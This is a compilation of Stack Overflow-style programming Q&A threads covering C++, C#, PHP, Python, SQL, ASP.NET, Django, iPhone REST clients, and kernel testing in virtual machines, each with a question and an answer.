$xml->writeElement($key, $value);
}
$xml->endElement();
/*
* $xml will look like
* <array>
* <key1>value1</key1>
* <key2>value2</key2>
* <key3>value3</key3>
* </array>
*/
// convert XMLWriter document into a DOM representation (can be skipped if XML is created with ext/DOM)
$doc = DOMDocument::loadXML($xml->outputMemory());
// Load XSL stylesheet
$xsl = DOMDocument::load('stylesheet.xsl');
// Fire-up XSLT processor
$proc = new XSLTProcessor();
$proc->importStyleSheet($xsl);
// Output transformation
echo $proc->transformToXML($xml);
</code></pre>
|
How to do an efficient priority update in STL priority_queue? <p>I have a priority_queue of some object:</p>
<pre><code>typedef priority_queue<Object> Queue;
Queue queue;
</code></pre>
<p>From time to time, the priority of one of the objects may change - I need to be able to update the priority of that object in the queue in an efficient way. Currently I am using this method which works but seems inefficient:</p>
<pre><code>Queue newQueue;
while (!queue.empty())
{
Object obj=queue.top();
queue.pop();
if (priorityHasChanged(obj))
newQueue.push_back(Object(new_priority));
else
newQueue.push_back(obj);
}
newQueue.swap(queue); // this only works because I actually subclassed the priority_queue
// class and exposed a swap method that swaps in the container
</code></pre>
<p>I implemented it this way because I was in kind of a hurry at the time and this was the quickest thing I could do that I could be sure it would work ok. There has to be a better way than this though. Really what I want is a way to either:</p>
<ul>
<li>extract out the instance with the changed priority and insert a new one with the new priority value</li>
<li>update the instance with the changed priority and then update the queue so that it is correctly sorted</li>
</ul>
<p>What is the best way to do this?</p>
| <p>I can suggest 2 choices to solve the problem, although neither performs a real update.</p>
<ol>
<li><p>Use the <code>priority_queue</code> and push element each time you would like to update it. Accept the fact that you will have useless entries in the queue. When popping the top value, check if it contains the up-to-date value. If not, ignore it and pop the next.</p>
<p>This way you delay the removal of the updated element until it comes to the top. I noticed this approach being used by top programmers realizing Dijkstra algorithm.</p></li>
<li><p>Use <code>set</code>. It is also sorted so you are able to extract the greatest element in logarithmic time. You are also able to remove the outdated element before inserting it again. So still no update operation possible, but removal and reinsertion is doable.</p></li>
</ol>
<p>Seems like the complexity of both approaches is the same.</p>
|
ListView_SetBkImage does not work on XP <p>I want to set the background image of a ListView control in my Shell Extension. The ListView inherits IShellView and I am using the following code:-</p>
<pre><code>HBITMAP m_hBmp = (HBITMAP)::LoadImage( hinst,
MAKEINTRESOURCE( IDB_BITMAP1 ), IMAGE_BITMAP, 0, 0,
LR_CREATEDIBSECTION | LR_LOADMAP3DCOLORS);
if ( m_hBmp )
{
LVBKIMAGE bki;
bki.ulFlags= LVBKIF_SOURCE_HBITMAP;
bki.hbm = m_hBmp;
bki.cchImageMax = sizeof( bki.hbm );
bki.xOffsetPercent = 50;
bki.yOffsetPercent = 50;
ListView_SetBkImage(m_hwndList,&bki);
}
</code></pre>
<p>The above code works fine in Vista but for some reason it does not work in XP. Is there anything that I am missing?</p>
| <p>To make it work in both versions(XP and Vista), we used both the approaches.
For XP, we are loading the image from file and for Vista we are loading it from resource. For some reason, loading from file does not work in Vista and loading from resource handle does not work in XP.</p>
<p>So the approach is to load it from file first and then if it fails, load from resource handle.</p>
|
Comparison of bmp files? <p>I want to compare two bmp files. I thought of two approaches: </p>
<ol>
<li>to compare the header as well as the information header of the two files</li>
<li>convert the bmp file to binary and then do the above comparison</li>
</ol>
<p>But, I don't know how to start and which will be a better approach. I would be glad if someone could please help me!</p>
| <p>I don't know on which platform you want to implement this, but here are some code snippets which could be useful:</p>
<p><a href="http://www.dreamincode.net/code/snippet2859.htm" rel="nofollow">Compare two images with C#</a></p>
<blockquote>
<p>This is a snippet to compare 2 images
to see if they are the same. This
method first converts each Bitmap to a
byte array, then gets the hash of each
array. We then loop through each in
the hash to see if they match.</p>
</blockquote>
<pre><code>/// <summary>
/// method for comparing 2 images to see if they are the same. First
/// we convert both images to a byte array, we then get their hash (their
/// hash should match if the images are the same), we then loop through
/// each item in the hash comparing with the 2nd Bitmap
/// </summary>
/// <param name="bmp1"></param>
/// <param name="bmp2"></param>
/// <returns></returns>
public bool doImagesMatch(ref Bitmap bmp1, ref Bitmap bmp2)
{
...
}
</code></pre>
|
Detecting the launch of a application <p>How do I detect with C# on Windows the moment when an external application is being launched?</p>
<p>I tried the FilesystemWatcher which doesn't work because the file is not really changing. Also having a timer constantly check all the open processes might be a bit over kill. Is there any other way to do this? If not in C# is it possible to do so in C++ (if so please give me an example).</p>
<p>The reason I want to do this is for logging purposes.</p>
| <p>You can use <a href="http://msdn.microsoft.com/en-us/library/system.management.aspx">System.Management</a> and <a href="http://fr.wikipedia.org/wiki/Windows%5FManagement%5FInstrumentation">WMI (Windows Management Instrumentation)</a></p>
<pre><code>class WMIEvent {
public static void Main() {
WMIEvent we = new WMIEvent();
ManagementEventWatcher w= null;
WqlEventQuery q;
try {
q = new WqlEventQuery();
q.EventClassName = "Win32_ProcessStartTrace";
w = new ManagementEventWatcher(q);
w.EventArrived += new EventArrivedEventHandler(we.ProcessStartEventArrived);
w.Start();
Console.ReadLine(); // block main thread for test purposes
}
finally {
w.Stop();
}
}
public void ProcessStartEventArrived(object sender, EventArrivedEventArgs e) {
foreach(PropertyData pd in e.NewEvent.Properties) {
Console.WriteLine("\n============================= =========");
Console.WriteLine("{0},{1},{2}",pd.Name, pd.Type, pd.Value);
}
}
</code></pre>
|
dynamic model creation in django <p>How do you create a dynamic model in Django?</p>
<p>Are there any recommended Django apps or tutorials for doing so?</p>
<p>Here is an example use case for a dynamic model:</p>
<blockquote>
<p>A University has an information system
for all of the students enrolled. The
administration wants to be able to add
new attributes that would be recorded
about different student groups (ones
in different majors, with different
specialties, etc.) on the fly without
needing to ask the IT team to make a
special class of students and change
them each time a new major is created
and new attributes are set for the
major. The administrator also wants to
have control over the view of the
create and edit forms for new
students. For example: Students in
Computer Science should have a
multiple select option for if they're
interested in Informatics, Management
Information Systems, or Biomedical
Computing.</p>
</blockquote>
| <p><a href="http://code.djangoproject.com/wiki/DynamicModels">http://code.djangoproject.com/wiki/DynamicModels</a></p>
|
How do I find out the code coverage of the JDK caused by my tests? <p>I am currently using Emma as the code coverage tool for my project. I know how to get the code coverage analysis of running a sample Java test case. This will give me the code coverage details of the Java test case code, but, what I want to know is how much JDK code was covered in running the sample Java test case. </p>
<p>For example, if my test case is:</p>
<pre><code>public class TestCase{
public static void main(String[] args){
System.out.println("Hello world!");
}
}
</code></pre>
<p>I want to know how much JDK code was executed to execute the above test case.</p>
| <p>Have you considere explicitely instrumenting the jars from the jdk and including com.sun; java. and javax packages?</p>
|
MVVM Routed and Relay Command <p>What is the Difference between the <a href="http://msdn.microsoft.com/en-us/library/system.windows.input.routedcommand.aspx">RoutedCommand</a> and <a href="http://msdn.microsoft.com/en-us/magazine/dd419663.aspx#id0090051">RelayCommand</a> ?
When to use RoutedCommand and when to use RelayCommand in MVVM pattern ?</p>
| <p><a href="http://msdn.microsoft.com/en-us/library/system.windows.input.routedcommand.aspx">RoutedCommand</a> is part of WPF, while <a href="http://msdn.microsoft.com/en-us/magazine/dd419663.aspx#id0090051">RelayCommand</a> was created by a WPF Disciple, Josh Smith ;).</p>
<p>Seriously, though, RS Conley described some of the differences. The key difference is that RoutedCommand is an ICommand implementation that uses a RoutedEvent to route through the tree until a CommandBinding for the command is found, while RelayCommand does no routing and instead directly executes some delegate. In a M-V-VM scenario a RelayCommand (DelegateCommand in Prism) is probably the better choice all around.</p>
|
Issues with Asp.net Gridview Paging <p>I have used the Gridview_PageIndexChanging event in asp.net.i have used the code like this:</p>
<pre><code>gridFileDetails.PageIndex = e.NewPageIndex
</code></pre>
<p>During the run time when i clicked the next page,it generates an error:</p>
<blockquote>
<p>An exception of type
'System.InvalidCastException' occurred
in FFK.DLL but was not handled in user
code</p>
<p>Additional information: Unable to cast
object of type
'System.Web.UI.WebControls.ContentPlaceHolder'
to type
'System.Web.UI.WebControls.GridViewRow'.</p>
</blockquote>
<p>in the RowCommand event,</p>
<p>I have used the following RowCommand event:</p>
<pre><code>Protected Sub gridFileDetails_RowCommand(ByVal sender As Object, ByVal e As System.Web.UI.WebControls.GridViewCommandEventArgs) Handles gridFileDetails.RowCommand
Dim row As GridViewRow = CType(CType(e.CommandSource, Control).NamingContainer, GridViewRow)
Dim rowkey As DataKey = Me.gridFileDetails.DataKeys(row.DataItemIndex)
Dim key As String = rowkey(0).ToString()
If e.CommandName = "FileStatus" And e.CommandArgument <= 0 Then
Response.Redirect("FFKFile.aspx?FileId=" + key)
ElseIf e.CommandName = "TradexStatus" And e.CommandArgument <= 0 Then
Response.Redirect("TradeX.aspx?FileId=" + key)
ElseIf e.CommandName = "BondStatus" And e.CommandArgument <= 0 Then
Response.Redirect("BondMaster.aspx?FileId=" + key)
ElseIf e.CommandName = "FDStatus" And e.CommandArgument <= 0 Then
Response.Redirect("FrmFileDocument.aspx?FileId=" + key)
ElseIf e.CommandName = "InvoiceStatus" And e.CommandArgument <= 0 Then
Response.Redirect("InvoiceMaster.aspx?FileId=" + key)
ElseIf e.CommandName = "PDStatus" And e.CommandArgument <= 0 Then
Response.Redirect("PackagingDetails.aspx?FileId=" + key)
End If
End Sub
</code></pre>
<p>can you resolve this problem?
i am getting the error in the first line in RowCommand event ,ie.,</p>
<pre><code>Dim row As GridViewRow = CType(CType(e.CommandSource, Control).NamingContainer, GridViewRow)
</code></pre>
<p>In the PageIndexChanging event i have written as follows:</p>
<p>Protected Sub gridFileDetails_PageIndexChanging(ByVal sender As Object, ByVal e As System.Web.UI.WebControls.GridViewPageEventArgs) Handles gridFileDetails.PageIndexChanging
gridFileDetails.PageIndex = e.NewPageIndex
End Sub</p>
| <p>Instead of this:</p>
<pre><code>Dim row As GridViewRow = CType(CType(e.CommandSource, Control).NamingContainer, GridViewRow)
</code></pre>
<p>Use the index from the <code>EventArgs</code> to grab the row programmatically like this:</p>
<pre><code>Dim index As Integer = Convert.ToInt32(e.CommandArgument)
Dim row As GridViewRow = gridFileDetails.Rows(index)
</code></pre>
|
Updateable view in mssql with multiple tables and computed values <p>Huge database in mssql2005 with big codebase depending on the structure of this database.</p>
<p>I have about 10 similar tables they all contain either the file name or the full path to the file. The full path is always dependent on the item id so it doesn't make sense to store it in the database. Getting useful data out of these tables goes a little like this:</p>
<pre><code>SELECT a.item_id
, a.filename
FROM (
SELECT id_item AS item_id
, path AS filename
FROM xMedia
UNION ALL
-- media_path has a different collation
SELECT item_id AS item_id
, (media_path COLLATE SQL_Latin1_General_CP1_CI_AS) AS filename
FROM yMedia
UNION ALL
-- fullPath contains more than just the filename
SELECT itemId AS item_id
, RIGHT(fullPath, CHARINDEX('/', REVERSE(fullPath))-1) AS filename
FROM zMedia
-- real database has over 10 of these tables
) a
</code></pre>
<p>I'd like to create a single view of all these tables so that new code using this data-disaster doesn't need to know about all the different media tables. I'd also like use this view for insert and update statements. Obviously old code would still rely on the tables to be up to date.</p>
<p>After reading the msdn page about <a href="http://msdn.microsoft.com/en-us/library/ms187956%28SQL.90%29.aspx" rel="nofollow">creating views in mssql2005</a> I don't think a view with SCHEMABINDING would be enough.</p>
<p>How would I create such an updateable view?</p>
<p>Is this the right way to go?</p>
| <p>Scroll down on the page you linked and you'll see a paragraph about updatable views. You can not update a view based on unions, amongst other limitations. The logic behind this is probably simple, how should Sql Server decide on what source table/view should receive the update/insert?</p>
|
Developing kernels and testing them in virtual machines <p>I like programming challenges, and writing a kernel seems a programming challenge.</p>
<p>Unfortunately, kernels are particularly hard to test because they are basically the core of operating systems and so they can't be easily ran on top of an operating system.</p>
<p>However, I know about applications called Virtual Machines that can emulate computer hardware.</p>
<p>What is the easiest/best way to develop and test kernels(C+Assembly) using Virtual Machines?</p>
| <p>While BOCHS seems to be better at letting you know when something goes horribly wrong with your pet OS... it is very slooooow! I use VirtualPC for general purpose testing and BOCHS when things get murky.</p>
<p>Also, you will more than likely be booting the OS every 2 minutes, so it helps to have some sort of automated way to build a boot image & fire off the Virtual PC.</p>
<p>I built a GRUB boot floppy image with all the necessary stuff to get it to boot the Kernel.Bin from the root. I use a batch file to copy this file to the virtual project directory, use <a href="http://www.assembla.com/wiki/show/zerospace/fat%5Fimgen">FAT Image Generator</a> to copy my kernel to the image. Then just launch the VirtualPC project. Vola!</p>
<p>Excerpt from my batch file: <br></p>
<pre><code>COPY Images\Base.vfd Images\Boot.vfd /Y
fat_imgen.exe modify Images\Boot.vfd -f Source\Bin\KERNEL.BIN
COPY Images\Boot.vfd Emulators\VirtualPC\ /Y
START Emulators\VirtualPC\MyOS.vmc
</code></pre>
<p>One last suggestion: Set the VirtualPC process priority to low - trust me on this one!
I'd be happy to exchange some code!</p>
<p><b>Tools:</b> DGJPP, NASM, GRUB. <br>
<b>Code:</b> osdev.org, osdever.net <br></p>
|
Securing a mvc view so only the server can access it <p>I'm building a .Net MVC app, where I'm using one particular view to generate an internal report. I don't want the users of the site to gain access to this page at all.</p>
<p>I've a console app that fires every so often which will scrape some of the details from this page by hitting it's URL.</p>
<p>I don't like the idea of having the URL hanging out there but I'm not sure of another way to go about it.</p>
<p>Thoughts on what might be the best practice way for tackling this?</p>
<p>Edit: </p>
<p>Here's what I ended up doing, created a new WCF Service project in the solution. I also copied basically what <em>was</em> the MVC view page into a new standard web forms page in this project. On top of adding security via the regular .net Authentication methods (eg set only valid windows users can access the page), I can also lock down the vhost to only be accessed by certain IP's.</p>
| <p>The best practice would be to expose a wcf service for this, and set up a security model that is different than website.</p>
<p>If you must use MVC the best approach use forms authentication with mvc and set </p>
<pre><code>[Authorize(Roles = "SecureUser")]
</code></pre>
<p>On the View.</p>
|
C# Settings xml file location <p>I have a project that reads in a file based on a value in a C# Setting class. This value however changes from machine to machine and Id rather not ask the user the first time the program is run as its a corporate environment, instead Id like it to be set in the installer, but where is the file located? Is there an easier method?</p>
<p>This is a visual studio addin not a standalone program</p>
| <p>From your post it appears you have a windows application? , you can store an initial value in the application config, you can make an installer in Visual Studio and write custom actions that can write values to the file on first install in you install project.</p>
|
Project source code that follows Microsoft Best Practices <p>I would like to know if you know some sites with great source code that follows Microsoft best practices?</p>
<p>By best practice I mean that projects that most likely conforms to say, this documents: <a href="http://www.codeplex.com/AppArchGuide" rel="nofollow">http://www.codeplex.com/AppArchGuide</a>
<a href="http://apparch.codeplex.com/Wiki/View.aspx?title=Pocket%20Guides&referringTitle=Home" rel="nofollow">http://apparch.codeplex.com/Wiki/View.aspx?title=Pocket%20Guides&referringTitle=Home</a></p>
| <p>I believe Microsoft's own code follows their best practices, so have a look at <a href="http://www.microsoft.com/resources/sharedsource/default.mspx" rel="nofollow">Shared Source Initiative</a>.</p>
|
Scope of JButton outside of its native class <p>If i have a method in my gui that returns a list of JButtons then in my makeFrame() method i populate my GridView with these buttons, how can i get hold of these buttons in my logic class,</p>
<p>the logic i am using is to check the labels of the buttons, if three in a row with the same label then win else carry on. But the logic class cant have a reference to the gui class so i am unsure how to check the labels :p</p>
<p>thanks</p>
| <p>Instead of checking the actual GUI buttons your logic class should hold a model of the button state, for example, in a 2D array. You then have the state within the logic class to check for a win etc.</p>
<p>The buttons on the GUI should only be a representation of the state held in the logic class.</p>
|
long integer as array index in C gives segmentation fault <p>The following C Code gives a segmentation fault:</p>
<pre><code>#include <stdio.h>
#include <stdint.h>
int main(){
uint32_t *a;
uint32_t idx=1233245613;
a[idx]=1233;
return 0;
}
</code></pre>
<p>How can I use uint32_t as index of an array in C? Or how can I use array like structure which can get uint32_t and 12 digit numbers as an index?</p>
<p>I'd appreciate any kind of help.</p>
| <ul>
<li>The variable "a" is just a pointer varaible. </li>
<li>A pointer variable holds the address of a memory location.</li>
<li>You need to point a to a memory location that has the space you need already allocated.</li>
</ul>
<p>Also you are trying to index pretty far in the array. You may not have enough memory available for this so be sure to check for NULL.</p>
<pre><code>#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
int main(void){
uint32_t *a;
uint32_t idx=1233245613;
//This allows you to index from 0 to 1233245613
// don't try to index past that number
a = malloc((idx+1) * sizeof *a);
if(a == NULL)
{
printf("not enough memory");
return 1;
}
a[idx]=1233;
free(a);
return 0;
}
</code></pre>
|
Do Python lists have an equivalent to dict.get? <p>I have a list of integers. I want to know whether the number 13 appears in it and, if so, where. Do I have to search the list twice, as in the code below?</p>
<pre><code>if 13 in intList:
i = intList.index(13)
</code></pre>
<p>In the case of dictionaries, there's a <code>get</code> function which will ascertain membership and perform look-up with the same search. Is there something similar for lists?</p>
| <p>You answered it yourself, with the <code>index()</code> method. That will throw an exception if the index is not found, so just catch that:</p>
<pre><code>def getIndexOrMinusOne(a, x):
try:
return a.index(x)
except ValueError:
return -1
</code></pre>
|
Cache AJAX requests <p>I am sending AJAX GET-requests to a PHP application and would like to cache the request returns for later use.</p>
<p>Since I am using GET this should be possible because different requests request different URLs (e.g. getHTML.php?page=2 and getHTML.php?page=5).</p>
<p>What headers do I need to declare in the PHP-application to make the clients browser cache the request URL content in a proper way? Do I need to declare anything in the Javascript which handles the AJAX-request (I am using jQuery's $.ajax function which has a cache parameter)?</p>
<p>How would I handle edits which change the content of e.g. getHTML.php?page=2 so that the client doesn't fall back to the cached version?
Adding another parameter to the GET request e.g. getHTML.php?page=2&version=2 is not possible because the link to the requested URL is created automatically without any checking (which is preferably the way I want it to be).</p>
<p>How will the browser react when I try to AJAX-request a cached request URL? Will the AJAX-request return success immediately?</p>
<p>Thanks</p>
<p>Willem</p>
| <p>Add the following headers on the server:</p>
<pre><code> header("Cache-Control: private, max-age=$seconds");
header("Expires: ".gmdate('r', time()+$seconds));
</code></pre>
<p>Where <strong>$seconds</strong> has an obvious meaning.</p>
<p>Also, check if your server do not issue some other anti-caching headers like Pragma. If so, add "Pragma: cache" header too.</p>
|
Get month from DATETIME in sqlite <p>I am trying to get extract the month from a <code>DATETIME</code> field in SQLite. <code>month(dateField)</code> does not work as well as <code>strftime('%m', dateStart)</code>. </p>
<p>Any ideas?</p>
| <p>I don't understand, the response is in your question : </p>
<pre><code>select strftime('%m', dateField) as Month ...
</code></pre>
|
Is the join expression not supported by MS Access? <p>Can anyone explain to me what is wrong with my query?</p>
<pre><code>SELECT T2.TIPOPRODUTO
, T2.PRODUTO
, T1.ESPESSURA
, '' AS LARGURA
, '' AS COMPRIMENTO
, '' AS [ACABAM REVEST]
, '' AS [ESPECIF QUALIDADE]
, T1.CÃDIGORASTREABILIDADE
, T3.DATA
, T4.NOMEFANTASIA
, T7.NOME
, T5.DT_INICIO_RESERVA
, T1.PESO
, T5.DT_FIM_RESERVA
, '' AS DESTINO
, T3.OBSERVAÃÃO
, '' AS [CUSTO TOTAL]
FROM ([TABELA DE PRODUTOS/ESTOQUE] LEFT OUTER JOIN [TABELA DE PRODUTOS] ON ([TABELA DE PRODUTOS/ESTOQUE].PRODUTO=[TABELA DE PRODUTOS].ID))
, [TABELA DE PRODUTOS/ESTOQUE ] AS T1
, [TABELA DE PRODUTOS] AS T2
, [TABELA DE MOVIMENTAÃÃO DE ESTOQUE] AS T3
, [TABELA DE FORNECEDORES] AS T4
, RESERVAS_PRODUTOS_ESTOQUE AS T5
, [TABELA DE MOVIMENTAÃÃO DE PRODUTOS/ESTOQUE] AS T6
, [TABELA DE USUÃRIOS] AS T7
, [TABELA DE PEDIDOS DE COMPRA] AS T8
WHERE (((T1.Produto)=[T2].[ID])
AND ((T1.ID)=[T5].[ID_PRODUTO_ESTOQUE])
AND ((T5.id_vendedor)=[T7].[ID])
AND ((T3.ID)=[T6].[ID])
AND ((T2.ID)=[T6].[PRODUTO])
AND ((T4.ID)=[T8].[FORNECEDOR])
AND ((T8.Comprador)=[T7].[ID]));
</code></pre>
<p>My best guess is it fails on this line:</p>
<pre><code>([TABELA DE PRODUTOS/ESTOQUE] LEFT OUTER JOIN [TABELA DE PRODUTOS] ON ([TABELA DE PRODUTOS/ESTOQUE].PRODUTO=[TABELA DE PRODUTOS].ID))
</code></pre>
| <p>You are mixing a join statement with "classical joins" (a comma separated list of tables with conditions in the where statement), which I believe is not allowed.</p>
<p>Change the query to use only join statements. In Access you have to pair the joins using parentheses, in this manner:</p>
<pre><code>from (((t1 join t2 on ...) join t3 on ...) join t4 on ...)
</code></pre>
|
how to do a "fill with color"(from mspaint) with a picturebox? <p>I did a little research and I didn't find a way, anyone know?</p>
<p>c# or vb.net</p>
| <p>Are you looking for a flood fill algorithm? Check this for example: <a href="http://www.codeproject.com/KB/GDI-plus/floodfillincsharp.aspx" rel="nofollow">Flood Fill Algorithms in C# and GDI+</a></p>
|
Why is javascript unable to get asp:Label innerText? <p>I have two labels: username and email. I use them to retrieve their content and pass them as method parameters.</p>
<pre><code>var lblEmail = $get('<%= lblEmail.ClientID %>');
var email = lblEmail.innerText;
var lblUsername = '<%= lblUsername.ClientID %>';
var username = lblUsername.innerText;
</code></pre>
<p>The email label is defined in the same way as username label does, but for this last I can't get the value, innertext returns undefined.</p>
<p>...</p>
<pre><code><td class="inputField">
<table cellpadding="0" cellspacing="0" border="0">
<tr>
<asp:Label ID="lblUsername" CssClass="font1" runat="server"/>
</tr>
</table>
</td>
</code></pre>
<p>...</p>
<pre><code>...
<td class="inputField">
<table cellpadding="0" cellspacing="0" border="0">
<tr>
<td>
<asp:Label runat="server" ID="lblEmail" CssClass="font1" />
</td>
...
</code></pre>
<p>What could be a possible reason to justify what is happening? How can I solve this problem? I'm seeing on the page both label values, I set them on the same place (when page loads).</p>
| <p>In the second part of your code </p>
<pre><code>var lblEmail = $get('<%= lblEmail.ClientID %>');
var email = lblEmail.innerText;
var lblUsername = '<%= lblUsername.ClientID %>';
var username = lblUsername.innerText;
</code></pre>
<p><strong>$get</strong> call is absent. Should be </p>
<pre><code>var lblEmail = $get('<%= lblEmail.ClientID %>');
var email = lblEmail.innerText;
var lblUsername = $get('<%= lblUsername.ClientID %>');
var username = lblUsername.innerText;
</code></pre>
|
Hibernate tutorials <p>Let's say that I'm new to Hibernate, is there a way to get my skills up to speed? Are there any good tutorials?</p>
| <p>Hibernate.org is pointing this to begin with :
<a href="http://www.hibernate.org/152.html" rel="nofollow">Getting Started with Hibernate</a></p>
<p>I would then recommend reading this very good book :
<a href="http://www.manning.com/bauer2/" rel="nofollow">Java Persistence with Hibernate (Christian Bauer and Gavin King)</a></p>
|
RESTful iPhone client and Model hierarchy <p>I'm curious what strategy most of you are employing in order to build solid RESTful iPhone clients in respect to model hierarchies. What I mean by model hierarchies is that I have a REST server in which several resources have a correlation to each other. For instance, let's say for hypothetical purposes I have a REST server which spits out information about a school. If I want to grab all the students in a particular class, I first need to query the REST server for information on the school, then I need to query the server for information on all of the classes the school has to offer, followed by a subsequent request for all students in a particular class. At the end of the day, the client is bringing in 3 unique XML trees. At that point, do most of you folks write your own algorithms in order to build the final tree which will end up being your data source? Do you not aggregate XML trees in this respect and instead use a different approach?</p>
<p>How do you prefer taking a myriad of related resources on the server and getting them into one tree that just makes sense onto the client?</p>
<p>Thanks for the insight.</p>
| <p>How you choose to store manage your model data on the iPhone probably depends on how much the XML data you are dealing with is likely to vary, and how bloated it might get. </p>
<p>If this is a simple XML model that is unlikely to change, and doesn't carry terribly much redundant information with it, you might do well to just use the XML trees you describe as-is. </p>
<p>But for anything even slightly more complex, I prefer to translate XML representations into a format that is most easily manipulated by my Objective-C code. Consider for example the possibility that your application expands one day to support other web-based services that provide similar data, but as JSON or SOAP formatted data. Now you start to run into the headaches of maintaining 3 different types of models in your application, when it would be preferable to maintain just one.</p>
<p>I would treat the XML-based REST resources as "foreign data" that need to be massaged into a locally manipulatable format. If you adopt a local format that maximizes the ease of performing your app-specific operations, then you can adapt inputs from any other foreign format, and convert back to foreign formats as needed for uploads/edits/whatever.</p>
<p>Daniel</p>
|
COTS vs. Custom / Build vs. Buy: Decision Tree and Best Practices <h3>Background:</h3>
<p>I work at a company with a large SAP investment, and we also have dozens of large .NET systems (mostly internally for engineering systems), and Java platforms (mostly for external web applications). As such, we have large development shops on ABAP, C#, and Java EE.</p>
<h3>Question:</h3>
<p>In short, <strong>We need a better way to determine when Commercial, Off The Shelf (COTS) software should be used, and when we should leverage our own developers.</strong> </p>
<h3>Criteria:</h3>
<p>I'd like to build a decision tree based on best practices to help with this question. </p>
<p>At the highest level, Jeff Atwood's related post sums it up well: <a href="http://www.codinghorror.com/blog/archives/000878.html" rel="nofollow">The Best Code is No Code At All</a></p>
<p>A little deeper, I'd like to see criteria like:</p>
<p>Is a COTS system available that meets most of the requirements?
(If yes, a COTS system may be a good option: (Avoid reinventing the wheel))</p>
<ul>
<li>If so, is there a fully exposed API
available? (This is essential to
integration / customization)</li>
<li>If so, is the source code available?
(This is essential to deep
integration / customization)</li>
</ul>
<p>Is the system designed to meet a core business function / create a competitive advantage ?
(If so, custom development may be a good option: <a href="http://www.joelonsoftware.com/articles/fog0000000007.html" rel="nofollow">See Joel Sposky's: In Defense of Not-Invented-Here Syndrome</a>)</p>
<ul>
<li>If so, will custom development allow
for code reuse in future / other
systems? (There are many advantages
to reusing existing code)</li>
</ul>
<p>What is the TCO for the custom application vs. the COTS product?</p>
<p>Are there time constraints that could not be met with custom development?
(If yes, a COTS system may be a good option)</p>
| <p>I'm not entirely sure what you are asking for but I'd thought I'd comment on a few things that I've seen arise in COTS versus custom development choices over the years:</p>
<ol>
<li><p>It is going to take time to properly analyse any COTS systems for suitability. Both from a requirements perspective and a technical one. How much custom dev could have been done instead of the analysis?</p></li>
<li><p>Beware the COTS sales pitch the promises the moon on a stick. There's plenty of them. Flashy presentations from yes-men who will offer to meet any requirement to get the deal. The most dangerous trap to fall into is being promised functionality that isn't in the COTS at present but they will add for you - more often than not the salesman has said yes to you without even finding out if it's possible for their product to do it.</p></li>
<li><p>Check for unit tests in the COTS and also what development practices they use. Good indicators of quality. A cowboy development practice, lack of tests and documentation are maintainability headaches in the future.</p></li>
<li><p>Be wary if the COTS vendor isn't giving much info about technical aspects of their product.</p></li>
</ol>
<p>If your desired system is fairly simple then your COTS choice will also be fairly simple. But if it's a large, complex system you would presumably offer it out for RFP (request for proposal) and to do that you are going to have to have a thorough and correct requirements specification. Will the time taken to produce requirements for the RFP out weigh a custom dev agile solution? You are going to have to nail those requirements down super tight to make sure the COTS system delivers and that will take a lot of time and effort.</p>
<p>Personally, I would never consider COTS unless:</p>
<ol>
<li>The source code is available and I have had programmers assess it</li>
<li>I've seen and tried a working demo and not just glitzy sales pitches</li>
<li>There isn't time or personnel to do it in-house.</li>
</ol>
<p>Ultimately, I agree with Joel's statement: If it's a core business function -- do it yourself, no matter what.</p>
|
What part of the ASP.Net framework do you use to execute arbitrary code on every inbound request to IIS? <p>I'd like to run a discrete chunk of .Net code for each and every request that comes through a certain Web site in IIS. This is completely isolated code -- it doesn't affect anything before or after it -- it logs some information from the request, then ends.</p>
<p>Note that this is not something I can put in Application_OnRequestBegin or some other ASP.Net file because I need this to execute for non .Net files (PDFs, images, etc.). It needs to execute for requests that would normally not hit the .Net framework.</p>
<p>Is an HTTP Module what I'm looking for? I've RTFM'ed quite a bit, but it seems there a number of different ways to manipulate the pipeline, and I'm not quite sure which one I should be using.</p>
| <p>You can use an <a href="http://msdn.microsoft.com/en-us/library/ms227673.aspx" rel="nofollow">HTTP Module</a>, however, to use it you will need to map all requests to IIS which can be done using a <a href="http://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/5c5ae5e0-f4f9-44b0-a743-f4c3a5ff68ec.mspx?mfr=true" rel="nofollow">wild card map.</a>. This will have a performance impact because you're going to be forcing all requests through the .net runtime.</p>
<p>You could also write your own ISAPI filter, but I believe you'll have to use C++.</p>
<h1>Edit</h1>
<p>ASP.Net has a default handler if your doign the wild card mapping you need, make sure you still have this in your web.config in your windows/microsoft.net/framework..../config/ folder:</p>
<pre><code><httpHandlers>
....
<add path="*" verb="GET,HEAD,POST" type="System.Web.DefaultHttpHandler" validate="True"/>
</httpHandlers>
</code></pre>
<p>You might have also removed the handler in your web's config file. Lastly you could try and add an explicit mapping for the pdf file.</p>
|
C++: Is it possible to share a pointer through forked processes? <p>I have a count variable that should get counted up by a few processes I forked and used/read by the mother process. </p>
<p>I tried to create a pointer in my main() function of the mother process and count that pointer up in the forked children. That does not work! Every child seems to have it's own copy even though the address is the same in every process.</p>
<p>What is the best way to do that?</p>
| <p>Each child gets its own copy of the parent processes memory (at least as soon as it trys to modify anything). If you need to share betweeen processes you need to look at shared memory or some similar IPC mechanism.</p>
<p>BTW, why are you making this a community wiki - you may be limiting responses by doing so.</p>
|
Put current route values/url in form post <p>In my master page, I have a language dropdown menu. When the user selects a language from the dropdown, a submit sends the currently selected language to the "Translate" method in my controller. After which it should redirect to the url it was before the translation submit so it can show the exact same page, but now in the newly selected language.</p>
<p>How would I best go about this? Should I send the current url somehow in a hidden field? Or can I maybe send the current routevaluedictionary, so my translate method can redirectToRoute directly? </p>
<p>Or maybe there is an entirely better way?</p>
<p><strong>--EDIT--</strong><br />
Because I want my bookmarks to include the site language too, all my exposed actions have a siteLanguage parameter too. If I could somehow efficiently show the user a bunch of regular (GET) links where the siteLanguage parameter is filled in with the relevant value, that would be even better. But as far as I know, there is no way to put links in a dropdown except with java maybe.</p>
| <p>I have a similar situation, and I solved it slightly differently.</p>
<p>Because my master page had <em>functionality</em> in it, I created a new base controller class (that inherits from Controller) and all my real controllers inherit from my custom class.</p>
<p>Then, I implement OnActionExecuting in the base class to do some common work.</p>
<p>Then, in your masterpage, if you have a form like this, it will submit to the current URL with a GET request and add the language as a querystring parameter:</p>
<pre><code><form id="language" method="get" >
<select name="language">
<option value="en">English</option>
<option value="es">Spanish</option>
...
</select>
</form>
</code></pre>
<p>Use jQuery to wire it up to autosubmit, etc.</p>
<p>You could look for a language parameter in the querystring in your base controller class and set the flag that tells the real controller method which language to use. In the model, you directly go to the real controller to regenerate the page and avoid a redirect.</p>
<p>Note, this only works universally, if you are not already using querystring parameters.</p>
